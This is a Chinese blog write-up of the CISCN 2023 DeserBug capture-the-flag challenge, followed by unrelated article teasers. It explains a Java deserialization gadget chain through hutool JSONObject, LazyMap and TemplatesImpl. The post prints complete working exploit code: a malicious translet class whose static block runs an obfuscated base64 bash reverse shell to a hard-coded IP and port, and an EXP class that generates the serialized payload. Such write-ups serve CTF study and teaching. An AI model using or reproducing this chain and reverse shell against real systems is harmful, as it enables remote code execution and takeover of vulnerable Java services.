【Web】记录CISCN2023国赛初赛DeserBug题目复现

news/2024/5/19 23:44:55 标签: java, java反序列化, ctf, web, CISCN, DeserBug, 反序列化

目录

前言

分析

step0

step1

step2

EXP

总结


前言

Hessian的链子审得有点疲劳,不如做做题吧,挑了国赛入手,整体做下来感觉十分丝滑&水到渠成,自然&通透。

仅仅是记录一下菜鸡做题的感受,不会往深入了讲

当时好像题目是不出网的,但我们就按出网的情况来做直接反弹shell,删繁就简。

分析

step0

题目给到信息

将题目给的三个jar包导入项目工程(本地不换成jdk8u202也可)

题目的环境是Commons Collections 3.2.2,该版本在一些危险的Transformer实现类的readObject前加上了FunctorUtils#checkUnsafeSerialization来检测反序列化是否安全。

然后JSONObject是hutool这个jar包里的

step1

先从提示入手,提示我们最后要调com.app.Myexpect#getAnyexcept

看到newInstance不难联想到CC3的TrAXFilter,可以借此实现TemplatesImpl动态加载恶意字节码

,完成攻击。

至于this.targetclass等参数的值如何控制,我们可以在序列化时用setter来设置

 【Web】Java反序列化之从CC3看TemplatesImpl的利用-CSDN博客

step2

话接上文,如何调com.app.Myexpect#getAnyexcept?提示告诉我们要先调cn.hutool.json.JSONObject.put

JSONObject何者也?

是乃Map接口的实现类

调cn.hutool.json.JSONObject.put,简化之,即调Map.put。

Map.put何来?下文可参:

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入

然再度赘述:

不难联想到LazyMap.get()的经典逻辑:

根据给定的键 key 从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对添加到映射中,然后返回该值。

只要令传入的map为JSONObject即可触发JSONObject#put

而value的值也是我们通过ConstantTransformer可控的,想来这个存入的map的value如果是个对象,必然会获取对象的相关属性信息,相关属性信息何来?大抵是要调getter来拿的(这是从设计角度的简单推理)

所以我们让value为恶意Myexpect对象在逻辑上是合理的

而事实也证明了我们的猜想,详见下方EXP

EXP

拿下面的网站生成payload

Runtime.exec Payload Generater | AresX's Blog

pom依赖

 <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>
    </dependencies>

evil.java

package com.CISCN;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

EXP.java

package com.CISCN;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class EXP {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();

        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[] { Templates.class });
        myexpect.setTypearg(new Object[] { obj });

        JSONObject entries = new JSONObject();

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer(myexpect));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        setFieldValue(bad,"val",tiedMapEntry);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(bad);
        oos.close();

        byte[] byteArray = baos.toByteArray();
        String encodedString = Base64.getEncoder().encodeToString(byteArray);
        System.out.println(encodedString);
    }
}

反弹shell拿到flag

总结

这题主要是要有两个思维敏感度,刚好就是提示的一头一尾

cn.hutool.json.JSONObject.put:CC5/CC6调map.put的常规手法

com.app.Myexpect#getAnyexcept:newInstance打TrAXFilter间接动态加载类的思维


http://www.niftyadmin.cn/n/5431796.html

相关文章

[善用佳软]推荐掌握小工具:Json解析的命令行工具jq

前言&#xff1a; 我们在各种生产环境或者开发测试环境中&#xff0c;一定遇到有很多信息都是使用JSON串或者文本文件作为输入的。在没有JQ命令行工具之前&#xff0c;我们要从中获取真正的输入&#xff0c;大都把它复制到文本里头&#xff0c;然后使用文本编辑器进行加工整理…

ARM 汇编指令 :(一) MOV

目录 一&#xff1a;MOV指令格式 二&#xff1a;MOV指令的示例 一&#xff1a;MOV指令格式 指令是在ARM架构中用于将数据从一个位置或寄存器复制到另一个位置或寄存器的指令。基本语法格式如下&#xff1a; MOV{cond}{S} Rd, Operand2 其中: {cond}是条件码&#xff0c;可…

MongoDB聚合运算符:$firstN

文章目录 语法使用空值或缺失值的处理 f i r s t N 与 firstN与 firstN与topN对比关于窗口功能和聚合表达式的支持内存限制 举例查找单场比赛的前三名运动员得分查找多场比赛中前三名运动员的得分 s o r t 与 sort与 sort与firstN一起使用根据group的键计算n在聚合表达式中使用…

Ant Design Pro complete版本的下载及运行

前言 complete 版本提供了很多基础、美观的页面和组件&#xff0c;对于前端不太熟练的小白十分友好&#xff0c;可以直接套用或者修改提供的代码完成自己的页面开发&#xff0c;简直不要太爽。故记录一些下载的步骤。 环境 E:\code>npm -v 9.8.1E:\code>node -v v18.1…

ubuntu(20.04)-安装JAVA环境-IDEA

1.下载IDEA 2.解压文件 sudo tar -zxvf idealC-2022.2.3.tar.gz -C /opt 3.添加环境变量&#xff1a; .vim ~/.bashrc export IDEA_HOME/opt/ideaIC-2022.2.3/ export PATH${IDEA_HOME}/bin:$PATH source ~/.bashrc 4.启动&#xff1a; cd /opt/ideaIC-2…

C/C++ Socket 获取或设置 TCP MSS 大小

通过 Socket 系统接口&#xff0c;链接到一个TCP服务器&#xff0c;那么在链接成功之后会被配置一个从本地端到目的端最佳的TCP_MSS大小。 我们通过这个特点&#xff0c;即可轻松的实现&#xff0c;链路MTU大小发现功能&#xff0c;在不依赖ROOT管理员权限的情况下&#xff0c;…

sui move动态字段练习(5)- 总结与思考

引言 之前几篇文章&#xff0c;我们用sui move动态字段模拟solidity映射&#xff0c;实现了一个类似erc20的代币&#xff0c;这使我更加深刻地理解了sui move和solidity编程特性和编程思想的区别。下面是我的总结与思考。 总结 首先&#xff0c;sui与solidity的编程特性有很…

数字孪生10个技术栈:数据清洗-数据的洗衣机

大家好&#xff0c;我是贝格前端工场&#xff0c;上期讲了数据传输的四个问题&#xff0c;本期继续分享数据采集后如何获得格式化的有效数据&#xff0c;那就是数据清洗&#xff0c;大家如有数字孪生或者数据可视化的需求&#xff0c;可以联络我们。 一、数据清洗含义和所需工…